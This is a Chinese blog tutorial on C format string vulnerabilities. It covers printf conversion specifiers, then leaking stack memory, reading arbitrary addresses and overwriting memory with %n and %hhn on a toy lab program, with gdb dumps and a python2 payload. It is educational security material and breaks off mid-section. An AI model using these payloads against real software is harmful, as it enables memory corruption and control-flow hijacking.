格式化字符串漏洞

zhyjc6于2019-11-09发布 约13192字·约29分钟 本文总阅读量

前言

这篇文章比较长,很多地方的描述我是参考《c和c++安全编码》和《ctf all in one》的,有部分没太懂但是我认为说的很标准,就先记下来,等后面慢慢应该就懂了。

说到格式化字符串就不得不提格式化输出函数。C 标准中定义了一些可以接受可变参数数量的格式化输出函数,如printf、sprintf等。这些函数在执行的过程中不会检查参数的数量,仅仅会根据格式字符串中的转换符来一一解析。 而正是由于这些函数参数的数量可变,才导致了后续的漏洞产生。

格式化输出函数

常见的格式化输出函数有以下几种:

#include <stdio.h>
int	printf(const char *format, ...); 
int	fprintf(FILE *stream, const	char *format, ...);
int	dprintf(int	fd,	const char *format, ...);
int	sprintf(char *str, const char *format, ...);
int	snprintf(char *str, size_t size, const char *format, ...);

#include <stdarg.h>
int	vprintf(const char *format,	va_list	ap);
int	vfprintf(FILE *stream, const char *format, va_list ap);
int	vdprintf(int fd, const char	*format, va_list ap);
int	vsprintf(char *str,	const char *format, va_list	ap);
int	vsnprintf(char *str, size_t	size, const	char *format, va_list ap);

printf

向stdout按规定的格式输出信息

fprintf

用于格式化输出到一个流/文件中。当stream为stdout时,fprintf与printf的功能相同

sprintf

把格式化的数据写入某个字符串中

Snprintf

在sprintf的基础上限制了可写入字符的最大值n 当格式化后的字符串长度<size,则将字符串全部 复制到str中,并在最后添加字符串结束符’\0’; 当格式化后的字符串长度>=size,则将其中的size-1 个字符复制到str中,并在最后添加字符串结束符 ’\0’

vprintf、vsprintf、vsnprintf、vfprintf

格式化字符串

格式字符串是由 普通字符(ordinary character)(包括%) 和 转换规则 (onversion specification) 构成的字符序列。普通字符被原封不动地复制到输出流中, 转换规则根据与实参对应的转换指示符对其进行转换,然后将结果写入输出流中。

转换规则

而一个转换规则有【可选部分】和必需部分组成: %【参数】【标志】【宽度】【.精度】【长度】**转换指示符**

转换指示符(必须)

字符 描述
d,i 有符号10进制数值int。’‘%d’ 与 ‘%i’ 对于输出是同义;但对于scanf()输入则二者不同,其中 %i 在输入值有前缀 0x 或 0 时,分别表示 16 进制或 8 进制的值。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空
u 10进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空
f,F double型输出10进制定点表示。’f’与’F’差异是: 表示无穷与 NaN时,’f’输出’inf’, ‘infinity’与’nan’;’F’输出 ‘INF’, ‘INFINITY’与’NAN’。小数点后的数字位数等于精度,最后 一位数字四舍五入。精度默认为6。如果精度为0且没有#标记,则不出现小数点。小数点左侧至少一位数字
e,E double值,输出形式为10进制的([-]d.ddd e [+/-]ddd)。E版本使用的指数符号为E(而不是e)。指数部分至少包含 2 位数 字,如果值为 0,则指数部分为 00。Windows系统 指数部分至少为 3 位数字,例如 1.5e002,也可用 Microsoft 版的运行时函数 _set_output_format 修改。小数点前存在 1 位数字。小数点后的数字位数等于精度。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点
g,G double型数值,精度定义为全部有效数字位数。当指数部分在闭区间[-4,精度]内,输出为定点形式;否则输出为指数浮点形式。’g’使用小写字母,’G’使用大写字母。小数点右侧的尾数0不被显示;仅当输出的小数部分不为0时才显示小数点
x,X 16进制unsigned int。’x’使用小写字母;’X’使用大写字母。 如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精 度为0且值为0,则输出为空
o 8进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空
s 如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限; 如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字 符,相当于调用 wcrtomb 函数
c 如果没有用 l 标志,把 int 参数转为 unsigned char 型输出; 如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符
p void* 型,输出对应变量的值。printf(“%p”, a) 用地址的格式打印变量 a 的值, printf(“%p”, &a) 打印变量 a 所在的地址
a,A double 型的 16 进制表示,”[−]0xh.hhhh p±d”。其中指数部分为 10 进制表示的形式。例如:1025.010 输出为 0x1.004000p+10。’a’ 使用小写字母,’A’ 使用大写字母
n 不输出字符,但是把在这之前已经成功输出的字符个数写入对应的整型指针参数所指的变量中
% ’%’ 字面值,不接受任何除了参数以外的部分

参数(可选)

字符 描述
n$ n是用这个格式说明符显示第几个参数;这使得参数可以输出多次, 使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了参数,则其他所有占位符必须也使用参数。 例:printf("%2$d %2$#x; %1$d%1$#x",16,17) 输出 "17 0x11; 16 0x10"

标志(可选)

字符 描述
+ 总是表示有符号数值的 ‘+’ 或 ‘-‘ 号,缺省情况是忽略正数的符号。 仅适用于数值类型
空格 使得有符号数的输出如果没有正负号或者输出 0 个字符,则前缀 1 个空 格。如果空格与 ‘+’ 同时出现,则空格说明符被忽略
- 左对齐。缺省情况是右对齐
# 对于 ‘g’ 与 ‘G’,不删除尾部 0 以表示精度。对于 ‘f’, ‘F’, ‘e’, ‘E’, ‘g’, ‘G’, 总是输出小数点。对于 ‘o’, ‘x’, ‘X’,在非 0 数值前分别输出前缀 0 , 0x 和 0X 表示数制
0 如果宽度选项前缀为0,则在左侧用 0 填充直至达到宽度要求。 例如 printf("%2d", 3) 输出 “ 3”,而printf(“%02d”, 3) 输出 “03”。如果 0 与 - 均出现,则 0 被忽略,即左对齐依然用空格填充

宽度(可选)

是一个用来指定输出字符的最小个数的十进制非负整数。如果实际位数多于定义的宽度, 则按实际位数输出;如果实际位数少于定义的宽度则补以空格或 0。

精度(可选)

精度是用来指示打印字符个数、小数位数或者有效数字个数的非负十进制整数。对 于 d、i、u、x、o 的整型数值,是指最小数字位数,不足的位要在左侧补 0,如果超过也不截断,缺省值为 1。对于a, A, e, E, f, F 的浮点数值,是指小数点右边显示的数字位数,必要时四舍五入;缺省值为6。对于g , G 的浮点数值,是指有效数字的最大位数。对于 s 的字符串类型,是指输出的字节的上限,超出限制的其它字符将被截断。如果域宽为 * ,则由对应的函数参数的值为当前域宽。如果仅给出了小数点,则域宽为 0 。

长度(可选)

字符 描述
hh 1-byte 对于整数类型,printf 期待一个从 char 提升的 int 整型参数
h 2-byte 对于整数类型,printf 期待一个从 short 提升的 int 整型参数
l 4-byte 对于整数类型,printf 期待一个 long 整型参数。对于浮点类 型, printf 期待一个 double 整型参数。对于字符串 s 类 型,printf 期待一个 wchar_t 指针参数。对于字符 c 类型,printf 期待一个 wint_t 型的参数
ll 8-byte 对于整数类型,printf 期待一个 long long 整型参数。Microsoft 也可以使用 I64
L 对于浮点类型,printf 期待一个 long double 整型参数
z 对于整数类型,printf 期待一个 size_t 整型参数
j 对于整数类型,printf 期待一个 intmax_t 整型参数
t 对于整数类型,printf 期待一个 ptrdiff_t 整型参数

示例

printf("Hello %%");		//"Hello %" 
printf("Hello World!");		//"Hello World!" 
printf("Number: %d", 123);		//"Number: 123" 
printf("%s	%s", "Format", "Strings");		//"Format Strings"
printf("%12c",	'A');		//	"           A" 
printf("%16s",	"Hello");		//	"          Hello!"

int	n;
printf("%12c%n", 'A', &n);		//n=12 
printf("%16s%n", "Hello!", &n);			//n=16
printf("%2$s %1$s", "Format", "Strings");		//"Strings	Format" 
printf("%42c%1$n", &n);		//首先输出41个空格,然后输出	n	的低八 位地址作为一个字符

基本原理

一般来说,函数的参数个数、参数类型都是固定的。但是有一些函数例如 printf() 就不是,printf 的参数数量、类型都可变。如果printf函数中用户传了一个format参数(必须是第一个参数),那么函数就会根据format格式串的要求从栈中(或者寄存器)取“参数”。

printf("%s","123");		//参数与format对应,输出123
printf("%s","123","456");		//参数与format不对应,输出123
printf("%s%s","123");		//参数与format不对应,输出123和栈中下一条地址所指向的内容。
printf("%s");		//直接打印参数所指向的内容
printf("123");		//把123看作格式字符串并直接打印123,

在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:

#include<stdio.h> 
void main(){
	printf("%s %d %s", "Hello World!", 233, "\n"); 
}

//其栈中参数情况
[------------------------------------stack------------------------------------] 
0000|	0xffffd220	-->	0x5655561f	("%s %d %s") 
0004|	0xffffd224	-->	0x56555612	("Hello World!")
0008|	0xffffd228	-->	0xe9  //就是十进制的233
0012|	0xffffd22c	-->	0x56555610	-->	0x6548000a	('\n')
0016|	0xffffd230	-->	0xffffd250	-->	0x1 
0020|	0xffffd234	-->	0x0
0024|	0xffffd238	-->	0x0

//程序编译运行后输出
Hello World! 233 

根据 cdecl 的调用约定,在进入 printf() 函数之前,将参数从右到左依次压 栈。进入 printf() 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 %,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:% d 和 %d 是一样的)

接下来我们修改一下上面的程序,给格式字符串加上 %x %x %x %3$s ,使它出现格式化字符串漏洞:

#include<stdio.h> 
void main(){
	printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n"); 
}

//其栈中参数情况
[------------------------------------stack------------------------------------] 
0000|	0xffffd220	-->	0x5655561f	("%s %d %s %x %x %x %3$s") 
0004|	0xffffd224	-->	0x56555612	("Hello World!")
0008|	0xffffd228	-->	0xe9  //就是十进制的233
0012|	0xffffd22c	-->	0x56555610	-->	0x6548000a	('\n')
0016|	0xffffd230	-->	0xffffd250	-->	0x1 
0020|	0xffffd234	-->	0x0
0024|	0xffffd238	-->	0x0
    
//程序编译运行后输出
Hello World! 233
ffffd250 0 0 

这一次栈的结构和上一次相同,只是格式字符串有变化。程序打印出了七个值(包括换行),而我们其实只给出了前三个值的内容,后面的三个 %x 打印出了 0xffffd230~0xffffd238 栈内的数据,这些都不是我们输入的。而最后一个参 数 %3$s 表示按照 %s 输出格式化串后面的第3个参数 也就是“\n”, 是对 0xffffd22c 中 \n 的重用。

我们可以总结出,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。下面我们讨论两个问题:

x64体系和x86基本类似,不同点就在于参数存取。x64的参数是优先存在寄存器里,之后的才开始放在栈中。

漏洞利用

格式化字符串漏洞利用的主要方向大致有以下几个方面:

  1. 使程序崩溃
  2. 查看栈内容
  3. 查看任意地址内容
  4. 覆盖栈内容
  5. 覆盖任意地址内容

使程序崩溃

格式化字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息, 这些信息正是攻击者所需要的。 利用类似下面的格式字符串即可触发漏洞: printf(“%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s”) 对于每一个 %s,printf() 都要从栈中获取一个值,把该值视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。 因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。还有可能获得的数字确实是一个地址,但是该地址是被保护的。

查看栈内容

下面的演示我们都使用下面的源码:

#include<stdio.h> 
void main(){
	char format[128];
	int	arg1 = 1, arg2 = 0x88888888, arg3 = -1;
	char arg4[10] = "ABCD";
	scanf("%s",	format);
	printf(format, arg1, arg2, arg3, arg4);
	printf("\n");
}

#echo 0 > /proc/sys/kernel/randomize_va_space  //关闭aslr
$ gcc -m32 -fno-stack-protector -no-pie fmt.c  //编译选项

输入: %08x.%08x.%08x.%08x.%08x,查看栈中参数分布

[------------------------------------stack------------------------------------] 
0000|	0xffffd550	-->	0xffffd584	("%08x.%08x.%08x.%08x.%08x") 
0004|	0xffffd554	-->	0x1 
0008|	0xffffd558	-->	0x88888888 
0012|	0xffffd55c	-->	0xffffffff 
0016|	0xffffd560	-->	0xffffd57a	("ABCD") 
0020|	0xffffd564	-->	0xffffd584	("%08x.%08x.%08x.%08x.%08x") 
0024|	0xffffd568	("	RUV\327UUVT\332\377\367\001") 
0028|	0xffffd56c	-->	0x565555d7	(<main+26>: add ebx,0x1a29) 

输出结果

00000001.88888888.ffffffff.ffffd57a.ffffd584

格式字符串 %08x.%08x.%08x.%08x.%08x 表示函数 printf() 从栈中取出 5 个参数并将它 们以 8 位十六进制数的形式显示出来。

可以看到,上面的方法是利用格式字符串中转换指示符多于真实的参数,多出来的转换指示符将继续从栈中取“参数”,从而获取栈中内容。但是这样依次打印栈中的内容有时候还是不太方便,如果我们想要直接获得被指定的某个参数, 则可以使用类似下面的格式字符串:

%n$x 这里的 n 表示栈中格式字符串后面的第 n 个参数。

注: 在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址8字节或者16字节。

输入 %3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p 查看栈中参数分布

[------------------------------------stack------------------------------------] 
0000|	0xffffd550	-->	0xffffd584	("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$ p.%6$p")
0004|	0xffffd554	-->	0x1
0008|	0xffffd558	-->	0x88888888
0012|	0xffffd55c	-->	0xffffffff
0016|	0xffffd560	-->	0xffffd57a	("ABCD")
0020|	0xffffd564	-->	0xffffd584	("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$ p.%6$p")
0024|	0xffffd568	("	RUV\327UUVT\332\377\367\001")
0028|	0xffffd56c	-->	0x565555d7	(<main+26>: add ebx,0x1a29)

输出 ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x 56555220

这里,格式字符串的地址为 0xffffd584。我们通过格式字符串 %3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p 分别获取了 arg3、arg1、两个 arg2、arg4 和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。

tips

  1. 利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
  2. 利用%s来获取变量所对应地址的内容,只不过有零截断。
  3. 利用%order$x来获取指定参数的值,利用%order$s来获取指定参数对应地址的内容。

查看任意地址的内容

攻击者可以使用一个“显示指定地址的内容”的格式规范来查看任意地址的内容。例如,使用 %s 显示参数指针所指定的地址的内容,将它作为一个 ASCII 字符串处理,直到遇到一个空字符 ‘\0’。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 %s 就会输出该位置的内存内容。

还是上面的程序,我们输入 %4$s ,输出的 arg4 就变成了 ABCD 而不是地址 0xffffd57a 。

上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。

我们输入”AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p .%p.%p.%p.%p.%p.%p” 这样的格式的字符串,观察一下栈有什么变化。

[------------------------------------stack------------------------------------]
0000|	0xffffd550	-->	0xffffd584	("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.% p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0004|	0xffffd554	-->	0x1
0008|	0xffffd558	-->	0x88888888
0012|	0xffffd55c	-->	0xffffffff
0016|	0xffffd560	-->	0xffffd57a	("ABCD")
0020|	0xffffd564	-->	0xffffd584	("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.% p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0024|	0xffffd568	("	RUV\327UUVT\332\377\367\001")
0028|	0xffffd56c	-->	0x565555d7	(<main+26>:	add ebx,0x1a29)
[-----------------------------------------------------------------------------]

格式字符串的地址在 0xffffd584 ,从下面的输出中可以看到它们在栈中是怎样排布的:

gdb-peda$	x/20w	$esp
0xffffd550:	0xffffd584	0x00000001	0x88888888	0xffffffff 
0xffffd560:	0xffffd57a	0xffffd584	0x56555220	0x565555d7
0xffffd570:	0xf7ffda54	0x00000001	0x424135d0	0x00004443
0xffffd580:	0x00000000	0x41414141	0x2e70252e	0x252e7025
0xffffd590:	0x70252e70	0x2e70252e	0x252e7025	0x70252e70 

程序输出:AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2 e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e

0x41414141 即AAAA,是输出的第 13 个字符,所以我们使用 %13$s 即可读出 0x41414141 处的内容,当然,这里可能是一个不合法的地址。我们只要把 0x41414141 换成我们需要查看的合法的地址就可以通过计算偏移 (0xffffd550–>0xffffd584) 得到是第13个”参数“,然后利用%13$s 来读出其内容了。

这就达到了读取任意地址内容的目的。当然这也没有什么用,我们真正经常用到的地方是:把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数们在 libc 中的相对位置,计算出我们需要的函数地址(如 system() )。

覆盖栈内容

现在我们已经可以读取栈上和任意地址的内存了,接下来我们更进一步,通过修改栈和内存来劫持程序的执行流程。%n 转换指示符将 %n 之前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。

例如:

//程序源码
#include <stdio.h>
void main(){
	int	i;
	char str[] = "hello";
	printf("%s %n\n", str, &i);
	printf("%d\n", i);
}
//编译运行输出
hello
6

i 被赋值为 6,因为在遇到转换指示符 %n 之前一共写入了 6 个字符(hello加上一个空格)。在没有长度修饰符时,默认写入一个 int 类型的值。

通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(0 补齐时在宽度前加点 . 或 0 )。

还是我们一开始的程序,我们尝试将 arg2 的值更改为任意值(比如 0x00000020 ,十进制 32),在 gdb 中可以看到看到 arg2 的地址 0xffffd538,那么我们构造格式字符串 \x38\xd5\xff\xff%08x%08x%012d%13$n ,其中 \x38\xd5\xff\xff 表示 arg2 的地址,占 4 字节,%08x%08x 表示两个 8 字符宽的十六进制数,占 16 字节, %012d 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 arg2 赋值为 0x00000020。格式字符串最后一部分 %13$n 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 0xffffd538 的地方(0xffffd564),printf() 就是通过这个地址找到被覆盖的内容的。

覆盖任意地址内容

也许已经有人发现了一个问题,使用上面覆盖内存的方法,内存被覆盖的值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗?其实没必要,我们可以将地址放在中间:

使用格式字符串 “AA%15$nA”+”\x38\xd5\xff\xff” ,开头的 AA 占两个 字节,即将地址赋值为 2,中间是 %15$n 占 5 个字节,这里不是 %13$n,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 A 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度, 这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 \x38\xd5\xff\xff

说完了数字小于 4 时的覆盖,接下来说说大数字的覆盖。前面的方法教我们直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小:

char c;
short s;
int	i;
long l;
long long ll;
printf("%s %hhn\n",	str, &c);		//	写入单字节
printf("%s %hn\n", str, &s);		//	写入双字节
printf("%s %n\n", str, &i);			//	写入4字节
printf("%s %ln\n", str,	&l);		//	写入8字节
printf("%s %lln\n",	str, &ll);		//	写入16字节

于是,我们就可以逐字节地覆盖,从而大大节省了内存空间

这里我们尝试写入 0x12345678 到地址 0xffffd538,首先使用 AAAABBBBCCCCDDDD 作为输入:

gdb-peda$ x/20x	$esp
0xffffd52c:	0x08048520	0xffffd564	0x00000001	0x88888888
0xffffd53c:	0xffffffff	0xffffd55a	0xffffd564	0x080481fc
0xffffd54c:	0x080484b0	0xf7ffda54	0x00000001	0x424135d0
0xffffd55c:	0x00004443	0x00000000	0x41414141	0x42424242
0xffffd56c:	0x43434343	0x44444444	0x00000000	0x000000c2

由于我们想要逐字节覆盖,就需要 4 个用于跳转的地址,4 个写入地址和 4 个值, 对应关系如下(小端序):

0xffffd564	->	0x41414141	(0xffffd538)	->	\x78 
0xffffd568	->	0x42424242	(0xffffd539)	->	\x56 
0xffffd56c	->	0x43434343	(0xffffd53a)	->	\x34 
0xffffd570	->	0x44444444	(0xffffd53b)	->	\x12

把 AAAA、BBBB、CCCC、DDDD 占据的地址分别替换成括号中的值,再适当使用填充字节使 8 字节对齐就可以了。构造输入如下: python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x3b\xd5\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' > text 其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 hh,所以只会保留一个字节 0x78(16+104=120 -> 0x78)、0x56(120+222=342 -> 0x0156 -> 56)、0x34(342+222=564 -> 0x0234 -> 0x34)、 0x12(564+222=786 -> 0x312 -> 0x12)。

最后还得强调两点: